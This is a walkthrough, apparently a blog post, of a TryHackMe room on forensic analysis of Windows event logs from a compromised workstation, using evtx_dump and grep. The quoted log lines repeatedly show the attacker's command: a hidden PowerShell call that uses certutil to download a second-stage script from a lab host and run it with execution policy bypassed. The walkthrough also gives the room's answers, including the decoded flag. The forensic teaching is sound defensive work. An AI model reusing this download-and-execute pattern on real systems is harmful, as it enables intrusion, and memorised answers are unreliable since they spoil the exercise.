Room: https://tryhackme.com/room/handbookfortherecentlycompromised
A Windows workstation has suspicious activity. We'll use its Windows Event Logs (.evtx file) to investigate what's been going on in this machine.
Video walkthrough
On the desktop we have a folder artefacts, that contains two .evtx files. One for powershell, one for system operational.
Let's open a terminal, then we use we navigate to ~/Desktop/artifacts/tools$ and use evtx_dump and grep to read the logs. If you are new to Linux, you can use practicelinux.com
and dump the powershell windows event logs with this command:
./evtx_dump ../PowerShell-Operational.evtx
Question 1
A trusted Windows utility downloaded a second-stage script onto the host. The command that called the utility obscured its name with a wildcard. What is the utility's full executable name?
Answer format:
********.***
So for the first question, we'll simply filter the powershell output with grep. As we know we are looking for an executable, we simply do | grep .exe
~/Desktop/artifacts/tools$ ./evtx_dump ../PowerShell-Operational.evtx | grep .exe
that returns
ubuntu@tryhackme:~/Desktop/artifacts/tools$ ./evtx_dump ../PowerShell-Operational.evtx | grep .exe
<Data Name="ScriptBlockText">whoami.exe</Data>
<Data Name="ScriptBlockText">ipconfig.exe</Data>
<Data Name="ScriptBlockText">tasklist.exe</Data>
<Data Name="ScriptBlockText">notepad.exe</Data>
<Data Name="ScriptBlockText">explorer.exe</Data>
<Data Name="ScriptBlockText">& ((gci C:\Windows\System32\certu*.exe)[0].FullName) -urlcache -f http://pipeline-cdn.thm:8088/pipeline-sync.ps1 $env:TEMP\pipeline-sync.ps1; powershell -ep bypass -f $env:TEMP\pipeline-sync.ps1</Data>
Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -f C:\Users\J1B0B~1.COL\AppData\Local\Temp\pipeline-sync.ps1
notice the .exe file with a wildcard in it, certu*.exe. Let's take a look through the other event log for certu.
./evtx_dump ../Microsoft-Windows-Sysmon%4Operational.evtx | grep certu
<Data Name="CommandLine">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "& ((gci C:\Windows\System32\certu*.exe)[0].FullName) -urlcache -f http://pipeline-cdn.thm:8088/pipeline-sync.ps1 $env:TEMP\pipeline-sync.ps1; powershell -ep bypass -f $env:TEMP\pipeline-sync.ps1"</Data>
<Data Name="Image">C:\Windows\SysWOW64\certutil.exe</Data>
<Data Name="CommandLine">"C:\Windows\System32\certutil.exe" -urlcache -f http://pipeline-cdn.thm:8088/pipeline-sync.ps1 C:\Users\J1B0B~1.COL\AppData\Local\Temp\pipeline-sync.ps1</Data>
<Data Name="ParentCommandLine">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "& ((gci C:\Windows\System32\certu*.exe)[0].FullName) -urlcache -f http://pipeline-cdn.thm:8088/pipeline-sync.ps1 $env:TEMP\pipeline-sync.ps1; powershell -ep bypass -f $env:TEMP\pipeline-sync.ps1"</Data>
<Data Name="Image">C:\Windows\SysWOW64\certutil.exe</Data>
<Data Name="Image">C:\Windows\SysWOW64\certutil.exe</Data>
<Data Name="ParentCommandLine">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "& ((gci C:\Windows\System32\certu*.exe)[0].FullName) -urlcache -f http://pipeline-cdn.thm:8088/pipeline-sync.ps1 $env:TEMP\pipeline-sync.ps1; powershell -ep bypass -f $env:TEMP\pipeline-sync.ps1"</Data>
And we find this is short for certutil.exe
Question 2
What full URL did the utility retrieve the second-stage script from?
Answer format:
****://************.***:****/*************.***
When we grepped on certu, noticed we found it downloaded a powershell script in the last command (pipeline-sync.ps1)
./evtx_dump ../Microsoft-Windows-Sysmon%4Operational.evtx | grep certu
<Data Name="CommandLine">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "& ((gci C:\Windows\System32\certu*.exe)[0].FullName) -urlcache -f http://pipeline-cdn.thm:8088/pipeline-sync.ps1 $env:TEMP\pipeline-sync.ps1; powershell -ep bypass -f $env:TEMP\pipeline-sync.ps1"</Data>
<Data Name="Image">C:\Windows\SysWOW64\certutil.exe</Data>
<Data Name="CommandLine">"C:\Windows\System32\certutil.exe" -urlcache -f http://pipeline-cdn.thm:8088/pipeline-sync.ps1 C:\Users\J1B0B~1.COL\AppData\Local\Temp\pipeline-sync.ps1</Data>
<Data Name="ParentCommandLine">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "& ((gci C:\Windows\System32\certu*.exe)[0].FullName) -urlcache -f http://pipeline-cdn.thm:8088/pipeline-sync.ps1 $env:TEMP\pipeline-sync.ps1; powershell -ep bypass -f $env:TEMP\pipeline-sync.ps1"</Data>
<Data Name="Image">C:\Windows\SysWOW64\certutil.exe</Data>
<Data Name="Image">C:\Windows\SysWOW64\certutil.exe</Data>
<Data Name="ParentCommandLine">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "& ((gci C:\Windows\System32\certu*.exe)[0].FullName) -urlcache -f http://pipeline-cdn.thm:8088/pipeline-sync.ps1 $env:TEMP\pipeline-sync.ps1; powershell -ep bypass -f $env:TEMP\pipeline-sync.ps1"</Data>
so the url is http://pipeline-cdn.thm:8088/pipeline-sync.ps1
Question 3
Which MITRE ATT&CK sub-technique describes the abuse of the Windows scripting host that executed the initial attachment?
Answer format:
*****.***
(simply Google, the AI will tell you straight away)
T1218.005
Question 4
Which MITRE ATT&CK sub-technique describes the persistence mechanism the intruder configured?
Answer format:
*****.***
(simply Google, the AI will tell you straight away)
T1053.005
Question 5
What is the flag?
Searching for flag, reveals base64
./evtx_dump ../PowerShell-Operational.evtx | grep flag
$flag = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($blob))
Set-Content ($dir + ('\.sy'+'nc-c'+'ach'+'e')) $flag
notce it uses $blob, that base64 decoded returns the flag
So we need $blob
./evtx_dump ../PowerShell-Operational.evtx | grep blob
$blob = ('VEhNe3R'+'IM19Ha'+'D'+'BzdF93MX'+'RIX1Ro'+'M19'+'NMDVUfQ='+'=')
all these + operations are simply putting the text together, so the base64 data is
>>> 'VEhNe3R'+'IM19Ha'+'D'+'BzdF93MX'+'RIX1Ro'+'M19'+'NMDVUfQ='+'='
'VEhNe3RIM19HaDBzdF93MXRIX1RoM19NMDVUfQ=='
Small Python tricks like this save a lot of time. If you want to practice Python, you can use pychallenge.com
now we can dump that into cyberchef and base64 decode it.
then we have the flag.
Want more Windows Event Log investigations (.evtx) like this? I built coldcaselabs with free log analysis cases



Top comments (0)